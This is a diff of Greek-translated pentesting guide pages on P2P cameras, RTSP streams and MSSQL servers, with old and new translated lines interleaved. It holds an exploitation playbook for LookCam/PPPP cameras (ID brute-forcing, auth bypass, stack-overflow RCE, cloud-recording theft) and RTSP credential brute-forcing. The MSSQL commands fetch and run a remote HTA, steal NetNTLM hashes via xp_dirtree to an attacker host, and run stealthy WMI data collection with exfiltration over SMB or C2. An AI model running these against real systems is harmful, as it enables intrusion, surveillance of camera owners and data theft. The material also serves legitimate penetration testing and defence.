- Επίπτωση: straightforward single-stage shellcode ή classic ROP/ret2libc στο CPU της συσκευής (π.χ., ARM) για πλήρη compromise και LAN pivoting.
See also:
-
{{#ref}}
../binary-exploitation/stack-overflow/README.md
{{#endref}}
-
{{#ref}}
../binary-exploitation/rop-return-oriented-programing/ret2lib/README.md
{{#endref}}
## Κατάχρηση Cloud Storage (HTTP, Device-ID only)
Πολλές firmware με την επωνυμία LookCam ανεβάζουν εγγραφές στο api.l040z.com (apicn.l040z.com για BHCC) μόνο μέσω HTTP. Παρατηρήσεις:
- Δεν υπάρχει TLS στο firmware· η μεταφορά είναι σε cleartext HTTP.
- Η API “authentication” είναι μόνο device-ID: οποιοσδήποτε γνωρίζει το ID μπορεί να fetch recordings.
- 5 MiB chunking είναι hardcoded.
- Remote enablement: κατά το boot η συσκευή καλεί http://api.l040z.com/camera/signurl; η απάντηση του server αποφασίζει αν θα ξεκινήσουν uploads. Η mobile app μπορεί να δείχνει cloud “disabled” ακόμη και όταν γίνονται uploads. Ένας τρίτος μπορεί να purchase/enable cloud για ένα victim ID και να συλλέγει σιωπηλά το υλικό.
Αυτό είναι κλασική cleartext sensitive μεταφορά (CWE-319) με έλλειψη server-side authZ.
## Device-ID Enumeration and Guessing
- Μορφή ID: PREFIX-######-CCCCC και app-shortened form (π.χ., GHBB-000001-NRLXW → G000001NRLXW).
- Prefix families: BHCC (hekai servers), FHBB και GHBB (mykj servers). Κάθε prefix maps σε τρεις rendezvous servers για HA.
- Ο 5-letter verifier χρησιμοποιεί αλφάβητο 22 uppercase letters (A, I, O, Q εξαιρούνται) → 22^5 ≈ 5.15M combos ανά numeric base.
- Προηγούμενες εργασίες παρατήρησαν no server-side rate-limiting, καθιστώντας το distributed guessing πρακτικό. Ο αλγόριθμος του verifier είναι bespoke και πιθανότατα guessable ή μπορεί να αποκτηθεί με reversing των apps/firmware.
Πρακτικές πηγές των IDs:
- Εμφανίζονται σε όλη την επίσημη app και συχνά leaked σε user screenshots/videos.
- Το AP mode SSID ισούται με το device ID· πολλές συσκευές εκθέτουν ένα open AP κατά το onboarding.
## Forcing Remote Reachability
Κάποια firmware κάνουν reboot σε loop έως ότου οι rendezvous servers γίνουν reachable. Αν το egress μπλοκαριστεί, η συσκευή θα παραμείνει σε κύκλο reboot, ουσιαστικά εξαναγκάζοντας τους ιδιοκτήτες να την αφήσουν Internet-reachable και εκτεθειμένη στο PPPP rendezvous.
## Practical Exploitation Playbook (for repro/defense testing)
1) Obtain device ID
- Από app UI ή AP SSID· αλλιώς enumerate PREFIX+number και brute τον χώρο του 22^5 verifier.
2) Establish PPPP session
- Χρησιμοποιήστε CS2 PPPP client ή custom code· εξάγετε server IP lists και init keys από το app init string· δοκιμάστε UDP hole punching· fallback σε relay.
3) Bypass auth
- Skip LoginDev ή αγνοήστε το αποτέλεσμα του· στείλτε operational JSON απευθείας.
4) Exfiltrate files / geo-locate
- Στείλτε {"cmd":"searchWiFiList"}· μετά DownloadFile "/tmp/wifi_scan.txt"· υποβάλετε BSSIDs σε geolocation API.
5) Achieve RCE
- Στείλτε cmd > 255 bytes για να προκαλέσετε το stack overflow· φτιάξτε ROP/ret2libc ή drop shellcode (no canary/DEP/ASLR).
6) Cloud access
- Αλληλεπιδράστε με τα endpoints του api.l040z.com χρησιμοποιώντας μόνο το device ID· σημειώστε το 5 MiB chunking· η ενεργοποίηση cloud ελέγχεται από /camera/signurl ανεξάρτητα από την κατάσταση του app UI.
## Related Protocols/Services
-
{{#ref}}
554-8554-pentesting-rtsp.md
{{#endref}}
-
{{#ref}}
../generic-methodologies-and-resources/pentesting-wifi/README.md
{{#endref}}
## References
- [A look at a P2P camera (LookCam app) Almost Secure](https://palant.info/2025/09/08/a-look-at-a-p2p-camera-lookcam-app/)
- [PPPP device discovery on LAN (Paul Marrapese)](https://github.com/pmarrapese/iot/tree/master/p2p/lansearch)
- [LookCam analysis (Warwick University, 2023)](https://www.dcs.warwick.ac.uk/~fenghao/files/hidden_camera.pdf)
- [General PPPP analysis Elastic Security Labs (2024)](https://www.elastic.co/security-labs/storm-on-the-horizon)
- [CS2 Network sales deck (2016) PPPP/threat model](https://prezi.com/5cztk-98izyc/cs2-network-p2p/)
- [Anyka hardened community firmware](https://github.com/Nemobi/Anyka/)
{{#include ../banners/hacktricks-training.md}}

View File

@ -2,36 +2,36 @@
{{#include ../banners/hacktricks-training.md}}
## Basic Information
## Βασικές Πληροφορίες
From [wikipedia](https://en.wikipedia.org/wiki/Real_Time_Streaming_Protocol):
Από [wikipedia](https://en.wikipedia.org/wiki/Real_Time_Streaming_Protocol):
> Το **Πρωτόκολλο Ροής Πραγματικού Χρόνου** (**RTSP**) είναι ένα πρωτόκολλο ελέγχου δικτύου σχεδιασμένο για χρήση σε συστήματα ψυχαγωγίας και επικοινωνιών για τον έλεγχο διακομιστών ροής πολυμέσων. Το πρωτόκολλο χρησιμοποιείται για την εγκαθίδρυση και τον έλεγχο συνεδριών πολυμέσων μεταξύ τελικών σημείων. Οι πελάτες των διακομιστών πολυμέσων εκδίδουν εντολές τύπου VHS, όπως αναπαραγωγή, εγγραφή και παύση, για να διευκολύνουν τον έλεγχο σε πραγματικό χρόνο της ροής πολυμέσων από τον διακομιστή σε έναν πελάτη (Video On Demand) ή από έναν πελάτη στον διακομιστή (Voice Recording).
> Το **Real Time Streaming Protocol** (**RTSP**) είναι ένα πρωτόκολλο ελέγχου δικτύου σχεδιασμένο για χρήση σε συστήματα ψυχαγωγίας και επικοινωνιών για τον έλεγχο streaming media servers. Το πρωτόκολλο χρησιμοποιείται για την εγκαθίδρυση και τον έλεγχο συνεδριών μέσων μεταξύ τελικών σημείων. Οι πελάτες των media servers εκδίδουν εντολές τύπου VHS, όπως play, record και pause, για να διευκολύνουν τον έλεγχο σε πραγματικό χρόνο της ροής μέσων από τον server προς έναν client (Video On Demand) ή από έναν client προς τον server (Voice Recording).
>
> Η μετάδοση των δεδομένων ροής από μόνη της δεν είναι έργο του RTSP. Οι περισσότεροι διακομιστές RTSP χρησιμοποιούν το Πρωτόκολλο Μεταφοράς Πραγματικού Χρόνου (RTP) σε συνδυασμό με το Πρωτόκολλο Ελέγχου Πραγματικού Χρόνου (RTCP) για την παράδοση ροής πολυμέσων. Ωστόσο, ορισμένοι προμηθευτές υλοποιούν ιδιόκτητα πρωτόκολλα μεταφοράς. Το λογισμικό διακομιστή RTSP από την RealNetworks, για παράδειγμα, χρησιμοποιεί επίσης το ιδιόκτητο Πρωτόκολλο Μεταφοράς Δεδομένων της RealNetworks (RDT).
> Η μετάδοση των ίδιων των streaming δεδομένων δεν αποτελεί εργασία του RTSP. Οι περισσότερες RTSP servers χρησιμοποιούν το Real-time Transport Protocol (RTP) σε συνδυασμό με το Real-time Control Protocol (RTCP) για την παράδοση της ροής μέσων. Ωστόσο, κάποιοι vendors υλοποιούν ιδιόκτητα πρωτόκολλα μεταφοράς. Το λογισμικό RTSP server της RealNetworks, για παράδειγμα, χρησιμοποιούσε επίσης το ιδιόκτητο Real Data Transport (RDT) της RealNetworks.
**Default ports:** 554,8554
**Προεπιλεγμένες θύρες:** 554,8554
```
PORT STATE SERVICE
554/tcp open rtsp
```
## Key Details
**RTSP** είναι παρόμοιο με το HTTP αλλά σχεδιασμένο ειδικά για ροή πολυμέσων. Ορίζεται σε μια απλή προδιαγραφή που μπορεί να βρεθεί εδώ:
**RTSP** είναι παρόμοιο με το HTTP αλλά σχεδιασμένο ειδικά για media streaming. Είναι ορισμένο σε μια απλή προδιαγραφή που μπορείτε να βρείτε εδώ:
[RTSP RFC2326](https://tools.ietf.org/html/rfc2326)
Οι συσκευές μπορεί να επιτρέπουν **μη αυθεντικοποιημένη** ή **αυθεντικοποιημένη** πρόσβαση. Για να ελεγχθεί, αποστέλλεται ένα αίτημα "DESCRIBE". Ένα βασικό παράδειγμα φαίνεται παρακάτω:
Οι συσκευές μπορεί να επιτρέπουν **unauthenticated** ή **authenticated** πρόσβαση. Για έλεγχο, αποστέλλεται ένα αίτημα "DESCRIBE". Ένα βασικό παράδειγμα φαίνεται παρακάτω:
`DESCRIBE rtsp://<ip>:<port> RTSP/1.0\r\nCSeq: 2`
Θυμηθείτε, η σωστή μορφοποίηση περιλαμβάνει ένα διπλό "\r\n" για μια συνεπή απάντηση. Μια απάντηση "200 OK" υποδηλώνει **μη αυθεντικοποιημένη πρόσβαση**, ενώ το "401 Unauthorized" σηματοδοτεί την ανάγκη για αυθεντικοποίηση, αποκαλύπτοντας αν απαιτείται **Basic** ή **Digest authentication**.
Θυμηθείτε, η σωστή μορφοποίηση περιλαμβάνει διπλό "\r\n" για συνεπή απάντηση. Μια απάντηση "200 OK" υποδεικνύει **unauthenticated access**, ενώ "401 Unauthorized" σηματοδοτεί την ανάγκη για authentication, αποκαλύπτοντας αν απαιτείται **Basic** ή **Digest authentication**.
Για **Basic authentication**, κωδικοποιείτε το όνομα χρήστη και τον κωδικό πρόσβασης σε base64 και το συμπεριλαμβάνετε στο αίτημα ως εξής:
Για **Basic authentication**, κωδικοποιείτε το username και το password σε base64 και το συμπεριλαμβάνετε στο αίτημα ως εξής:
`DESCRIBE rtsp://<ip>:<port> RTSP/1.0\r\nCSeq: 2\r\nAuthorization: Basic YWRtaW46MTIzNA==`
Αυτό το παράδειγμα χρησιμοποιεί "admin" και "1234" για τα διαπιστευτήρια. Ορίστε ένα **Python script** για να στείλετε ένα τέτοιο αίτημα:
Αυτό το παράδειγμα χρησιμοποιεί "admin" και "1234" για τα credentials. Εδώ είναι ένα **Python script** για να στείλετε ένα τέτοιο αίτημα:
```python
import socket
req = "DESCRIBE rtsp://<ip>:<port> RTSP/1.0\r\nCSeq: 2\r\nAuthorization: Basic YWRtaW46MTIzNA==\r\n\r\n"
@ -41,42 +41,48 @@ s.sendall(req)
data = s.recv(1024)
print(data)
```
**Η βασική αυθεντικοποίηση** είναι πιο απλή και προτιμάται. **Η αυθεντικοποίηση Digest** απαιτεί προσεκτική διαχείριση των λεπτομερειών αυθεντικοποίησης που παρέχονται στην απάντηση "401 Unauthorized".
**Basic authentication** είναι πιο απλό και προτιμάται. **Digest authentication** απαιτεί προσεκτικό χειρισμό των στοιχείων αυθεντικοποίησης που παρέχονται στην απάντηση "401 Unauthorized".
Αυτή η επισκόπηση απλοποιεί τη διαδικασία πρόσβασης σε ροές RTSP, εστιάζοντας στη **Βασική αυθεντικοποίηση** για την απλότητά της και την πρακτικότητα στις αρχικές προσπάθειες.
Αυτή η επισκόπηση απλοποιεί τη διαδικασία πρόσβασης σε RTSP streams, εστιάζοντας στην **Basic authentication** λόγω της απλότητάς της και της πρακτικότητάς της στις αρχικές προσπάθειες.
## Enumeration
Ας αποκτήσουμε πληροφορίες σχετικά με τις έγκυρες μεθόδους και τις διευθύνσεις URL που υποστηρίζονται και ας προσπαθήσουμε να κάνουμε brute-force την πρόσβαση (αν χρειαστεί) για να αποκτήσουμε πρόσβαση στο περιεχόμενο.
Ας συλλέξουμε πληροφορίες για τις έγκυρες μεθόδους και τα URLs που υποστηρίζονται και να προσπαθήσουμε να brute-force την πρόσβαση (αν χρειαστεί) για να αποκτήσουμε πρόσβαση στο περιεχόμενο.
```bash
nmap -sV --script "rtsp-*" -p <PORT> <IP>
```
#### Προβολή του RTSP Stream με [ffplay](https://ffmpeg.org/ffplay.html)
Αφού έχετε ανακαλύψει μια έγκυρη διαδρομή RTSP (π.χ., `/mpeg4`, `/live.sdp`) και έχετε επιβεβαιώσει την πρόσβαση (χωρίς αυθεντικοποίηση ή με διαπιστευτήρια), μπορείτε να χρησιμοποιήσετε το `ffplay` για να μεταδώσετε τη ροή:
#### Προβολή της ροής RTSP με [ffplay](https://ffmpeg.org/ffplay.html)
Μόλις εντοπίσετε μια έγκυρη RTSP διαδρομή (π.χ., `/mpeg4`, `/live.sdp`) και επιβεβαιώσετε την πρόσβαση (χωρίς έλεγχο ταυτότητας ή με διαπιστευτήρια), μπορείτε να χρησιμοποιήσετε το `ffplay` για να προβάλετε τη ροή:
```bash
ffplay -rtsp_transport tcp rtsp://<IP>/mpeg4 -x 2560 -y 1440
```
- `-rtsp_transport tcp`: Χρησιμοποιήστε TCP αντί για UDP για πιο αξιόπιστη ροή
- `-x`, `-y`: Προαιρετικές σημαίες για τον έλεγχο της ανάλυσης βίντεο
- Αντικαταστήστε το `<IP>` και τη διαδρομή όπως απαιτείται
- `-rtsp_transport tcp`: Χρησιμοποιήστε TCP αντί για UDP για πιο αξιόπιστο streaming
- `-x`, `-y`: Προαιρετικά flags για τον έλεγχο της ανάλυσης βίντεο
- Αντικαταστήστε το `<IP>` και το path όπως χρειάζεται
### [Brute Force](../generic-hacking/brute-force.md#rtsp)
### **Άλλα χρήσιμα προγράμματα**
Για brute force: [https://github.com/Tek-Security-Group/rtsp_authgrinder](https://github.com/Tek-Security-Group/rtsp_authgrinder)
Για bruteforce: [https://github.com/Tek-Security-Group/rtsp_authgrinder](https://github.com/Tek-Security-Group/rtsp_authgrinder)
[**Cameradar**](https://github.com/Ullaakut/cameradar)
- Ανίχνευση ανοιχτών RTSP hosts σε οποιονδήποτε προσβάσιμο στόχο
- Λάβετε τις δημόσιες πληροφορίες τους (hostname, port, μοντέλο κάμερας, κ.λπ.)
- Εκτέλεση αυτοματοποιημένων επιθέσεων λεξικού για να αποκτήσετε τη διαδρομή ροής τους (για παράδειγμα /live.sdp)
- Εκτέλεση αυτοματοποιημένων επιθέσεων λεξικού για να αποκτήσετε το όνομα χρήστη και τον κωδικό πρόσβασης των καμερών
- Δημιουργία μικρογραφιών από αυτές για να ελέγξετε αν οι ροές είναι έγκυρες και για να έχετε μια γρήγορη προεπισκόπηση του περιεχομένου τους
- Προσπάθεια δημιουργίας ενός pipeline Gstreamer για να ελέγξετε αν είναι σωστά κωδικοποιημένες
- Εκτύπωση μιας περίληψης όλων των πληροφοριών που θα μπορούσε να αποκτήσει το Cameradar
- Εντοπίζει ανοιχτούς RTSP hosts σε οποιονδήποτε προσβάσιμο στόχο
- Λαμβάνει τις δημόσιες πληροφορίες τους (hostname, port, camera model, κ.λπ.)
- Ξεκινά αυτοματοποιημένες dictionary attacks για να αποκτήσει το stream route τους (π.χ. /live.sdp)
- Ξεκινά αυτοματοποιημένες dictionary attacks για να πάρει το username και το password των καμερών
- Δημιουργεί thumbnails από αυτά για να ελέγξει αν τα streams είναι έγκυρα και για γρήγορη προεπισκόπηση του περιεχομένου τους
- Προσπαθεί να δημιουργήσει μια Gstreamer pipeline για να ελέγξει αν είναι σωστά encoded
- Εκτυπώνει μια σύνοψη όλων των πληροφοριών που μπόρεσε να πάρει το Cameradar
## References
### Δείτε επίσης
{{#ref}}
32100-udp-pentesting-pppp-cs2-p2p-cameras.md
{{#endref}}
## Αναφορές
- [https://en.wikipedia.org/wiki/Real_Time_Streaming_Protocol](https://en.wikipedia.org/wiki/Real_Time_Streaming_Protocol)
- [http://badguyfu.net/rtsp-brute-forcing-for-fun-and-naked-pictures/](http://badguyfu.net/rtsp-brute-forcing-for-fun-and-naked-pictures/)

View File

@ -2,37 +2,37 @@
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
## Βασικές Πληροφορίες
From [wikipedia](https://en.wikipedia.org/wiki/Microsoft_SQL_Server):
Από [wikipedia](https://en.wikipedia.org/wiki/Microsoft_SQL_Server):
> **Microsoft SQL Server** είναι ένα **συστήμα διαχείρισης σχεσιακών βάσεων δεδομένων** που αναπτύχθηκε από τη Microsoft. Ως διακομιστής βάσεων δεδομένων, είναι ένα προϊόν λογισμικού με κύρια λειτουργία την αποθήκευση και ανάκτηση δεδομένων όπως ζητείται από άλλες εφαρμογές λογισμικού—οι οποίες μπορεί να εκτελούνται είτε στον ίδιο υπολογιστή είτε σε άλλο υπολογιστή μέσω ενός δικτύου (συμπεριλαμβανομένου του Διαδικτύου).
> **Microsoft SQL Server** είναι ένα **σχεσιακό σύστημα διαχείρισης βάσεων δεδομένων** που αναπτύχθηκε από τη Microsoft. Ως διακομιστής βάσεων δεδομένων, είναι ένα προϊόν λογισμικού με την κύρια λειτουργία της αποθήκευσης και ανάκτησης δεδομένων όπως ζητείται από άλλες εφαρμογές λογισμικού—οι οποίες μπορεί να τρέχουν είτε στον ίδιο υπολογιστή είτε σε άλλον υπολογιστή μέσω δικτύου (συμπεριλαμβανομένου του Διαδικτύου).
**Default port:** 1433
**Προεπιλεγμένη θύρα:** 1433
```
1433/tcp open ms-sql-s Microsoft SQL Server 2017 14.00.1000.00; RTM
```
### **Προεπιλεγμένοι Πίνακες Συστήματος MS-SQL**
- **master Database**: Αυτή η βάση δεδομένων είναι κρίσιμη καθώς καταγράφει όλες τις λεπτομέρειες σε επίπεδο συστήματος για μια εγκατάσταση SQL Server.
- **msdb Database**: Ο SQL Server Agent χρησιμοποιεί αυτή τη βάση δεδομένων για να διαχειρίζεται τον προγραμματισμό για ειδοποιήσεις και εργασίες.
- **model Database**: Λειτουργεί ως σχέδιο για κάθε νέα βάση δεδομένων στην εγκατάσταση SQL Server, όπου οποιεσδήποτε τροποποιήσεις όπως μέγεθος, κωδικοποίηση, μοντέλο αποκατάστασης και άλλα αντικατοπτρίζονται σε νέες βάσεις δεδομένων που δημιουργούνται.
- **Resource Database**: Μια βάση δεδομένων μόνο για ανάγνωση που φιλοξενεί αντικείμενα συστήματος που έρχονται με το SQL Server. Αυτά τα αντικείμενα, αν και αποθηκεύονται φυσικά στη βάση δεδομένων Resource, παρουσιάζονται λογικά στο σχήμα sys κάθε βάσης δεδομένων.
- **tempdb Database**: Λειτουργεί ως προσωρινός χώρος αποθήκευσης για παροδικά αντικείμενα ή ενδιάμεσα σύνολα αποτελεσμάτων.
- **master Database**: Αυτή η βάση δεδομένων είναι κρίσιμη, καθώς καταγράφει όλες τις λεπτομέρειες σε επίπεδο συστήματος για ένα instance του SQL Server.
- **msdb Database**: Ο SQL Server Agent χρησιμοποιεί αυτή τη βάση δεδομένων για να διαχειρίζεται τον προγραμματισμό των alerts και των jobs.
- **model Database**: Λειτουργεί ως πρότυπο για κάθε νέα βάση δεδομένων στο instance του SQL Server, όπου οποιεσδήποτε αλλαγές, όπως μέγεθος, collation, recovery model και άλλα, αντικατοπτρίζονται στις νεοδημιουργημένες βάσεις δεδομένων.
- **Resource Database**: Μια βάση δεδομένων μόνο για ανάγνωση που περιέχει αντικείμενα συστήματος που παρέχονται με τον SQL Server. Αυτά τα αντικείμενα, ενώ αποθηκεύονται φυσικά στη Resource database, παρουσιάζονται λογικά στο sys schema κάθε βάσης δεδομένων.
- **tempdb Database**: Λειτουργεί ως προσωρινός χώρος αποθήκευσης για προσωρινά αντικείμενα ή ενδιάμεσα σύνολα αποτελεσμάτων.
## Απαρίθμηση
## Enumeration
### Αυτόματη Απαρίθμηση
### Automatic Enumeration
Αν δεν γνωρίζετε τίποτα για την υπηρεσία:
If you don't know anything about the service:
```bash
nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 <IP>
msf> use auxiliary/scanner/mssql/mssql_ping
```
> [!TIP]
> Αν **δεν έχετε διαπιστευτήρια** μπορείτε να προσπαθήσετε να τα μαντέψετε. Μπορείτε να χρησιμοποιήσετε το nmap ή το metasploit. Προσέξτε, μπορείτε να **μπλοκάρετε λογαριασμούς** αν αποτύχετε να συνδεθείτε πολλές φορές χρησιμοποιώντας ένα υπάρχον όνομα χρήστη.
> Αν **δεν** **έχετε credentials** μπορείτε να προσπαθήσετε να τα μαντέψετε. Μπορείτε να χρησιμοποιήσετε nmap ή metasploit. Προσοχή, μπορείτε να **block accounts** αν αποτύχετε στο login αρκετές φορές χρησιμοποιώντας ένα υπάρχον username.
#### Metasploit (χρειάζονται διαπιστευτήρια)
#### Metasploit (χρειάζονται creds)
```bash
#Set USERNAME, RHOSTS and PASSWORD
#Set DOMAIN and USE_WINDOWS_AUTHENT if domain is used
@ -66,7 +66,7 @@ msf> use windows/manage/mssql_local_auth_bypass
```
### [**Brute force**](../../generic-hacking/brute-force.md#sql-server)
### Χειροκίνητη Αρίθμηση
### Χειροκίνητη Απογραφή
#### Σύνδεση
@ -102,7 +102,7 @@ sqsh -S <IP> -U .\\<Username> -P <Password> -D <Database>
1> select 1;
2> go
```
#### Κοινή Αρίθμηση
#### Συνηθισμένη Απαρίθμηση
```sql
# Get version
select @@version;
@ -129,7 +129,7 @@ enum_links
#Use a link
use_link [NAME]
```
#### Λάβετε Χρήστη
#### Λήψη χρήστη
{{#ref}}
@ -154,16 +154,16 @@ order by name;
EXEC sp_helpuser
SELECT * FROM sysusers
```
#### Λάβετε Άδειες
#### Απόκτηση Δικαιωμάτων
1. **Securable:** Ορίζεται ως οι πόροι που διαχειρίζεται ο SQL Server για τον έλεγχο πρόσβασης. Αυτοί κατηγοριοποιούνται σε:
- **Server** Παραδείγματα περιλαμβάνουν βάσεις δεδομένων, συνδέσεις, σημεία πρόσβασης, ομάδες διαθεσιμότητας και ρόλους διακομιστή.
- **Database** Παραδείγματα καλύπτουν ρόλους βάσης δεδομένων, ρόλους εφαρμογών, σχήματα, πιστοποιητικά, καταλόγους πλήρους κειμένου και χρήστες.
- **Schema** Περιλαμβάνει πίνακες, προβολές, διαδικασίες, συναρτήσεις, συνώνυμα κ.λπ.
2. **Permission:** Συνδέεται με τα securables του SQL Server, άδειες όπως ALTER, CONTROL και CREATE μπορούν να παραχωρηθούν σε έναν κύριο. Η διαχείριση των αδειών συμβαίνει σε δύο επίπεδα:
- **Server Level** χρησιμοποιώντας συνδέσεις
- **Database Level** χρησιμοποιώντας χρήστες
3. **Principal:** Αυτός ο όρος αναφέρεται στην οντότητα που έχει παραχωρηθεί άδεια σε ένα securable. Οι κύριοι περιλαμβάνουν κυρίως συνδέσεις και χρήστες βάσης δεδομένων. Ο έλεγχος της πρόσβασης στα securables ασκείται μέσω της παραχώρησης ή άρνησης αδειών ή με την ένταξη συνδέσεων και χρηστών σε ρόλους που είναι εξοπλισμένοι με δικαιώματα πρόσβασης.
- **Server** Παραδείγματα περιλαμβάνουν databases, logins, endpoints, availability groups και server roles.
- **Database** Παραδείγματα καλύπτουν database role, application roles, schema, certificates, full text catalogs και users.
- **Schema** Περιλαμβάνει tables, views, procedures, functions, synonyms κ.λπ.
2. **Permission:** Συνδεδεμένο με τα securables του SQL Server, permissions όπως ALTER, CONTROL και CREATE μπορούν να χορηγηθούν σε έναν principal. Η διαχείριση των permissions γίνεται σε δύο επίπεδα:
- **Server Level** με χρήση logins
- **Database Level** με χρήση users
3. **Principal:** Ο όρος αναφέρεται στην οντότητα στην οποία χορηγείται δικαίωμα σε ένα securable. Οι principals περιλαμβάνουν κυρίως logins και database users. Ο έλεγχος πρόσβασης στα securables ασκείται είτε με τη χορήγηση ή άρνηση permissions είτε με την ένταξη logins και users σε roles που διαθέτουν δικαιώματα πρόσβασης.
```sql
# Show all different securables names
SELECT distinct class_desc FROM sys.fn_builtin_permissions(DEFAULT);
@ -183,12 +183,12 @@ SELECT IS_SRVROLEMEMBER('sysadmin');
Use master
EXEC sp_helprotect 'xp_cmdshell'
```
## Tricks
## Κόλπα
### Execute OS Commands
### Εκτέλεση εντολών OS
> [!CAUTION]
> Σημειώστε ότι για να μπορέσετε να εκτελέσετε εντολές, δεν είναι μόνο απαραίτητο να έχετε **`xp_cmdshell`** **ενεργοποιημένο**, αλλά επίσης να έχετε την **άδεια EXECUTE στη διαδικασία αποθήκευσης `xp_cmdshell`**. Μπορείτε να δείτε ποιος (εκτός από τους sysadmins) μπορεί να χρησιμοποιήσει **`xp_cmdshell`** με:
> Σημειώστε ότι για να μπορείτε να εκτελείτε εντολές δεν αρκεί μόνο το **`xp_cmdshell`** να είναι **ενεργοποιημένο**, αλλά απαιτείται επίσης να έχετε την **άδεια EXECUTE στην αποθηκευμένη διαδικασία `xp_cmdshell`**. Μπορείτε να δείτε ποιος (εκτός από τους sysadmins) μπορεί να χρησιμοποιήσει το **`xp_cmdshell`** με:
>
> ```sql
> Use master
@ -235,13 +235,45 @@ mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec ho
# Executing the hostname command using stored procedures on the linked SRV01 server with sp_oacreate method
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec "cmd /c mshta http://192.168.45.250/malicious.hta" -command-execution-method sp_oacreate
```
### Λάβετε κωδικούς πρόσβασης σε μορφή hash
### WMI-based απομακρυσμένη συλλογή SQL (sqlcmd + CSV export)
Οι operators μπορούν να pivot από ένα IIS/app tier σε SQL Servers χρησιμοποιώντας WMI για να εκτελέσουν ένα μικρό batch που κάνει authenticate στο MSSQL και εκτελεί adhoc queries, εξάγοντας τα αποτελέσματα σε CSV. Αυτό διατηρεί τη συλλογή απλή και μοιάζει με τη δραστηριότητα του admin.
Παράδειγμα mssq.bat
```bat
@echo off
rem Usage: mssq.bat <server> <user> <pass> <"SQL"> <out.csv>
set S=%1
set U=%2
set P=%3
set Q=%4
set O=%5
rem Remove headers, trim trailing spaces, CSV separator = comma
sqlcmd -S %S% -U %U% -P %P% -Q "SET NOCOUNT ON; %Q%" -W -h -1 -s "," -o "%O%"
```
Εκτέλεσέ το απομακρυσμένα με WMI
```cmd
wmic /node:SQLHOST /user:DOMAIN\user /password:Passw0rd! process call create "cmd.exe /c C:\\Windows\\Temp\\mssq.bat 10.0.0.5 sa P@ssw0rd \"SELECT TOP(100) name FROM sys.tables\" C:\\Windows\\Temp\\out.csv"
```
Εναλλακτική του PowerShell
```powershell
$cmd = 'cmd.exe /c C:\\Windows\\Temp\\mssq.bat 10.0.0.5 sa P@ssw0rd "SELECT name FROM sys.databases" C:\\Windows\\Temp\\dbs.csv'
Invoke-WmiMethod -ComputerName SQLHOST -Class Win32_Process -Name Create -ArgumentList $cmd
```
Σημειώσεις
- sqlcmd may be missing; καταφύγετε στο osql, PowerShell Invoke-Sqlcmd, ή ένα oneliner που χρησιμοποιεί System.Data.SqlClient.
- Χρησιμοποιήστε τα εισαγωγικά προσεκτικά; τα μακρά/σύνθετα ερωτήματα είναι πιο εύκολο να παρασχεθούν μέσω αρχείου ή ως Base64encoded όρισμα που αποκωδικοποιείται μέσα στο batch/PowerShell stub.
- Exfil το CSV μέσω SMB (π.χ., copy from \\SQLHOST\C$\Windows\Temp) ή συμπιέστε το και μετακινήστε το μέσω του C2.
### Απόκτηση κατακερματισμένων κωδικών
```bash
SELECT * FROM master.sys.syslogins;
```
### Κλοπή NetNTLM hash / Επίθεση Relay
### Κλέψτε NetNTLM hash / Relay attack
Πρέπει να ξεκινήσετε έναν **SMB server** για να καταγράψετε το hash που χρησιμοποιείται στην αυθεντικοποίηση (`impacket-smbserver` ή `responder` για παράδειγμα).
Θα πρέπει να ξεκινήσετε έναν **SMB server** για να καταγράψετε το hash που χρησιμοποιείται στην αυθεντικοποίηση (`impacket-smbserver` ή `responder` για παράδειγμα).
```bash
xp_dirtree '\\<attacker_IP>\any\thing'
exec master.dbo.xp_dirtree '\\<attacker_IP>\any\thing'
@ -265,7 +297,7 @@ mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -chain-id 2e9a3696-d8c2-
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.250
```
> [!WARNING]
> Μπορείτε να ελέγξετε ποιος (εκτός από τους διαχειριστές συστήματος) έχει άδειες για να εκτελεί αυτές τις λειτουργίες MSSQL με:
> Μπορείτε να ελέγξετε ποιος (εκτός από τους sysadmins) έχει δικαιώματα να τρέξει αυτές τις MSSQL συναρτήσεις με:
>
> ```sql
> Use master;
@ -274,7 +306,7 @@ mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.25
> EXEC sp_helprotect 'xp_fileexist';
> ```
Χρησιμοποιώντας εργαλεία όπως το **responder** ή το **Inveigh** είναι δυνατό να **κλέψετε το NetNTLM hash**.\
Χρησιμοποιώντας εργαλεία όπως **responder** ή **Inveigh** είναι δυνατό να **κλέψετε το NetNTLM hash**.\
Μπορείτε να δείτε πώς να χρησιμοποιήσετε αυτά τα εργαλεία στο:
@ -282,18 +314,18 @@ mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.25
../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md
{{#endref}}
### Κατάχρηση Εμπιστευμένων Συνδέσεων MSSQL
### Κατάχρηση MSSQL trusted Links
[**Διαβάστε αυτή την ανάρτηση**](../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md) **για να βρείτε περισσότερες πληροφορίες σχετικά με το πώς να καταχραστείτε αυτή τη δυνατότητα:**
[**Read this post**](../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md) **για περισσότερες πληροφορίες σχετικά με το πώς να καταχραστείτε αυτήν τη λειτουργία:**
{{#ref}}
../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md
{{#endref}}
### **Γράψτε Αρχεία**
### **Γράψιμο αρχείων**
Για να γράψετε αρχεία χρησιμοποιώντας το `MSSQL`, **πρέπει να ενεργοποιήσουμε** [**Ole Automation Procedures**](https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/ole-automation-procedures-server-configuration-option), που απαιτεί δικαιώματα διαχειριστή, και στη συνέχεια να εκτελέσουμε κάποιες αποθηκευμένες διαδικασίες για να δημιουργήσουμε το αρχείο:
